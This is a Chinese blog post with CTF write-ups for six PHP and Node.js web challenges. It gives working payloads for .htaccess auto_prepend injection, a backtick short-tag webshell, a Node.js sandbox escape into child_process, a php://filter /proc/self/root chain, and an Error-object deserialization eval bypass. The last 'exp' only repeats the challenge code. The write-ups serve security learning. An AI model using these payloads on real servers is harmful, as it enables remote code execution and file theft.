Fork me on github

30题CTF(1)

[羊城杯2020]easyphp

知识点

1.代码审计。

2.preg_match函数和stristr函数的绕过

3..hatccess文件的写入

 

解题过程

题目直接给出代码:
 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

 

 

 

 

        刚刚打开看到题目时,就看到了file_put_contents函数,当时的想法是,写一个是php文件,文件中上传的是一句话木马,然后连接蚁剑。但是仔细分析了题目,

发现下面的这段代码的意思是只解析index.php文件,那么我的这个思路是行不通的了

$files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }

 

后来看到wp是利用.htaccess来设置文件自动包含,什么是.htaccess?

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。

 

也就是说这里的思路是通过改变文件的一个配置,从而达到我们获取flag的目的。

在题目中还有这两个函数的限制

 if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }

 

这里因为我们要写的文件名是.htaccess,而这个函数的意思是只能输入小写字母和. 那自然绕过了。

到了stristr函数,过滤了几个我们playload需要的单词,那么我们可以用换行符来绕过。

    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }

 

接下来就给出.htaccess的内容:

php_value auto_prepend_fil\ 
e .htaccess 
#<?php system('cat /fla'.'g');?>\ 

 

解释一下:

php_value auto_prepend_file 是用来在页面底部加载文件的,在这里就是相当于加载<?php system('cat /fla'.'g');?>

而#应该是.hatccess文件特有的写入形式,没有的话会直接报错500,最后那个/是用来转意换行符的

最后的playload:

?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess

 

 

 

 

 

 

[红明谷CTF 2021]write_shell

知识点

1.执行运算符

2.php短标签

3.代码审计

解题过程

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

 

 

可以看到,action为pwd时,会打印当前的目录路径;action为upload时,会上传数据到目录路径下的index.php中,并且会对上传的数据进行检查

在check函数中可以看到,输入的数据不可以包含  ‘ ’,'_', 'php', 'eval', '{', '}' 没过滤反引号,欸嘿,突破口找到了

先看看当前文件路径

 

 

 

想要绕过check函数写shell,过滤了空格‘ ’可以用 \t 代替,过滤了'php'可以用短标签<?=?>代替,相当于<? echo>;

过滤了‘_’可以用<?=``?>代替,反引号在php中有执行命令的效果

利用通配符 '*' 来搜索文件

playload:

?action=upload&data=<?=`cat\t/*`?>

 

 

 

 

[极客大挑战 2020]Roamphp1-Welcome

 

知识点:

1.处理打开靶机就是404的情况

2.sha1函数比较

 

解题过程

打开靶机的时候,直接就是404,一开始以为是我的网络出来问题或者靶机出来问题,于是换了网络和重新开了靶机,结果还是一样,有查看了数据包,没啥问题

后来看了wp,发现人家就是这样的,这个应该也算是考题的一部分吧,先抓个包,将请求方式改为POST然后再放包就可以了。

 

 

 

 

然后就看到题目的代码:

 

 

 这就很简单了,直接就用数组绕过shal比较就可以了,因为shal不接受数组,遇到是数组都会返回NULL,那么NULL == NULL 返回的自然是true。

然后就转到了一个phpinfo文件,直接Ctrl+F找flag就可以了

 

 

[NPUCTF2020]验证🐎 1

 

知识点

1.node.js代码审计

2.js弱类型比较

3.hash绕过

4.构造函数执行任意代码

 

解题过程

 

 

 在首页没有什么发现的,在“你敢点这个试试”那里有源码,这里截取比较重要的部分。

app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

这里有个if要绕过:

first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])

 

先看一下node.js的比较

 

可以看到数组[1]==1在两个等于号时候是返回true的,而在三个等于号时候会返回false。这一点是和php一样的。

在JavaScript中各个数据类型的相加的结果, 可以看到对象和字符串相加最后得到的是字符串,而数组和字符串相加最后也是得到字符串,

所以可以基本得出结论就是,node中任何数据类型和字符串相加最后得到的都是字符串。

 

 

 

而长度length 属性对于字符串是返回字符串长度,而数组是返回数组元素个数。而数字是没有length 的。

 

 

 

根据上面介绍的node特性,可以得到这样的playload:

{"e":playlod,"first":[0],"second":"0"}

 

 

在有一个知识点

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }

 

这个正则表达式不太懂呀,看一下大佬的解释:

把满足正则表达式的部分全都删掉后传入的str为空才可以成功执行。
看一下这个正则,第一部分是类似Math.xxx或只有Math这样的的,第二部分是可以包括这些字符:
[()+\-*/&|^%<>=,?:
第三部分是以一定数字开头,然后跟0或者1个点,然后任意的数字,然后0或者一个类似e1111这样的。感觉这是整数,浮点数和科学计数法。

先给出playload:

(Math=>(
    Math=Math.constructor,
    Math.x=Math.constructor(
        Math.fromCharCode(
114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41)
        )()))(Math+1)

 

用一个例子来解释Math=>的意思:

 

 

 

同理a = x=>x*x 相当于命名了一个名字为a的函数:

20200424231946

那么(x=>x+x)(2)呢其实就相当于往这个函数里面传入参数2:

20200424235002

我们再回到payload本身(Math=Math.constructor,Math.x=Math.constructor(......)) 可以清楚地看到最外层括号是一个逗号运算,而逗号运算我们知道是从左往右运算再最后返回最右边的值。我们由此得知这里是执行这么个运算:

Math.constructor.constructor(.....)

 

而这又是什么呢,我们直接逐层测试的Math.constructor

20200425002236

可以见到第一层返回的function object(),他是function的对象原型,而我们知道Object的构造器是指向Function的所以第二层会出现Function。而Function是构造函数他能够创建函数。可以简单理解他和eval类似。我们可以测试一个例子:

var sum = Math.constructor.constructor('a', 'b', 'return a + b');
sum(1,2);
var fun = new Function('a', 'b', 'return a + b');
fun(1,2)

 

20200425003241

可以直接看到结果,Math.constructor.constructor() 和构造函数new Function() 是等效的。当然这个不知在Math中其他任意函数应该也是类似的。例如:alert()

20200425003702

 最后得到的脚本:

 

 

 

参考:NPUCTF2020 验证🐎-(弱类型比较、hash绕过、构造函数执行任意代码) | Xiao Leung's Blog (plasf.cn)

 

[WMCTF2020]Make PHP Great Again

 

知识点:

1.require_once 绕过不能重复包含文件的限制

2.利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

 

解题过程

给出源码,看起来挺短,但是设计的知识点还是挺复杂的:

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  $a=($_GET['file']);
  require_once($a);
}

 

 

在这里有个小知识点,/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

 

参考这篇文章,这个有点复杂,以为现在水平看不懂:https://www.anquanke.com/post/id/213235#h3-2

 

方法二:利用session.upload_progress进行文件包含

参考:https://blog.csdn.net/weixin_48537150/article/details/113189052

这个知识点还是不怎么吃的透

 

[极客大挑战 2020]Greatphp

 

 知识点:

解题过程

给出源码:

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

 解题思路:

进入到题目,看代码发现是ctf基础的题目,md5和sha1的比较,一般遇到这种情况都是用数组绕过就可以了,但是这里的比较是在类里面因此不能这样绕过。

所以我们可以使用含有 __toString 方法的PHP内置类来绕过,用的两个比较多的内置类就是 Exception 和 Error ,他们之中有一个 __toString 方法,当类被当

做字符串处理时,就会调用这个函数,用一个例子来说明他的作用:

 

 由上图可以看到$a和$b的值看似是一样的,但是到了后面判断他们是否相等时,他的结果是不相等的,原因是在Error()中的第二个参数“1“是指报错代码,

很明显$a和$b的错误代码不一样,因此他们比较是不一样的,但是错误代码并没有打印出来,但是他们的md5和sha1是相等的。值得注意的是要将$a和$b的参数

定义是要在同一行,因为报错的打印出来的包括错误行数。

 

 

我们可以将题目代码中的 $syc 和 $lover 分别声明为类似上面的内置类的对象,让这两个对象本身不同(传入的错误代码即可), __toString 方法输出的结果相同即可
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include "/flag" 将flag包含进来即可;由于过滤了引号,我们直接用url取反绕过即可

exp:

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>

 

结果:

0
0

 

 

 

 

 

 

posted @ 2021-07-08 13:07  北孤清茶。  阅读(923)  评论(2编辑  收藏  举报